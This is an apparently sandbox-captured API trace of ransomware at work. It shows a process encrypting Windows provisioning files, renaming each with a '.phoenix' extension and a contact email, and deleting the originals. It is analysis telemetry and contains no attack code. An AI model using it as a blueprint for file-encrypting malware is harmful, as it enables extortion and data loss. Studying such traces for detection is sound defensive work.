	[0247.957] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.957] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.957] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.958] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0247.958] CloseHandle (hObject=0x2c4) returned 1
	[0247.958] CloseHandle (hObject=0x2c8) returned 1
	[0247.958] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.959] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.959] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=725) returned 1
	[0247.959] CloseHandle (hObject=0x2c8) returned 1
	[0247.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.959] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.959] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.960] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0247.960] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.960] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d5, lpOverlapped=0x0) returned 1
	[0247.961] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.961] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.962] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0247.962] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.962] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.962] CryptDestroyKey (hKey=0x151700) returned 1
	[0247.962] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.963] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.963] CloseHandle (hObject=0x2c8) returned 1
	[0247.963] CloseHandle (hObject=0x2c4) returned 1
	[0247.963] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\345__connections_cellular_vodafone qatar (qatar)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.964] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.964] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0247.964] CloseHandle (hObject=0x2c4) returned 1
	[0247.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0247.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.964] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.964] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.965] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.965] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0247.965] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.965] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0247.968] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0247.968] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0247.969] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0247.969] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.969] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0247.969] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.969] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0247.969] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.969] CloseHandle (hObject=0x2c4) returned 1
	[0247.969] CloseHandle (hObject=0x2c8) returned 1
	[0247.969] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\346__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0247.970] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.970] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.971] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0247.971] CloseHandle (hObject=0x2c8) returned 1
	[0247.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.971] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.971] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.971] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.971] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.972] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0247.972] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.972] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.973] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.973] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.974] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0247.974] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.974] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0247.974] CryptDestroyKey (hKey=0x151100) returned 1
	[0247.974] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0247.974] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.974] CloseHandle (hObject=0x2c8) returned 1
	[0247.974] CloseHandle (hObject=0x2c4) returned 1
	[0247.974] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\347__connections_cellular_moldcell (republic of moldova)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.975] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.976] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0247.976] CloseHandle (hObject=0x2c4) returned 1
	[0247.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.976] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.976] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0247.977] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.977] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0248.094] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0248.094] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0248.094] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0248.094] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0248.095] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0248.095] CryptDestroyKey (hKey=0x151440) returned 1
	[0248.095] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0248.095] CryptDestroyKey (hKey=0x151600) returned 1
	[0248.095] CloseHandle (hObject=0x2c4) returned 1
	[0248.095] CloseHandle (hObject=0x2c8) returned 1
	[0248.095] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\348__connections_cellular_sfr (réunion) (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0248.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0248.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\355__Connections_Cellular_Vodafone RO (Romania)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\355__connections_cellular_vodafone ro (romania)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0248.103] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=914) returned 1
	[0248.103] CloseHandle (hObject=0x2c8) returned 1
